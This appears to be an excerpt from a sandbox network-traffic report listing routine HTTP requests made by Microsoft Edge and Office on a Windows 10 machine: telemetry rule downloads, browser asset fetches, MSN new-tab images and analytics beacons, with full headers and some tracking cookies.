Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732579299&P2=404&P3=2&P4=N6C2D2N2CUWZr2tB5UpHNa9fHSyqdJEolPPY%2bHi7bSIkCFBbQof2dd9J9yWKMAPceNPjaxfbs6SPCF%2bg0d579g%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: Wo+cQgOlTUPinKQbPrtotOSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731974503019&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=36BE74FC8FDA6170211861C08E2B60EF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731974503019&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=55de4d4b132b44d08c3cfa4bea7f5d92&activityId=55de4d4b132b44d08c3cfa4bea7f5d92&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=36BE74FC8FDA6170211861C08E2B60EF; _EDGE_S=F=1&SID=15F9E42F1D5D67EC1F09F1131C736685; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=36BE74FC8FDA6170211861C08E2B60EF&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=cd5e0f98a014418e957ee4d63ad4a358 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=36BE74FC8FDA6170211861C08E2B60EF; _EDGE_S=F=1&SID=15F9E42F1D5D67EC1F09F1131C736685; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731974503019&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=36BE74FC8FDA6170211861C08E2B60EF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1867b04c63deb9b5255e2931731974505; XID=1867b04c63deb9b5255e2931731974505
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=36BE74FC8FDA6170211861C08E2B60EF&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=62a5727841ae44dcfa6108f5eba7708f HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=36BE74FC8FDA6170211861C08E2B60EF; _EDGE_S=F=1&SID=15F9E42F1D5D67EC1F09F1131C736685; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731974503019&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=55de4d4b132b44d08c3cfa4bea7f5d92&activityId=55de4d4b132b44d08c3cfa4bea7f5d92&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=6D1D025C615E41979A81CEA02E1587A4&MUID=36BE74FC8FDA6170211861C08E2B60EF HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=36BE74FC8FDA6170211861C08E2B60EF; _EDGE_S=F=1&SID=15F9E42F1D5D67EC1F09F1131C736685; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ8.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
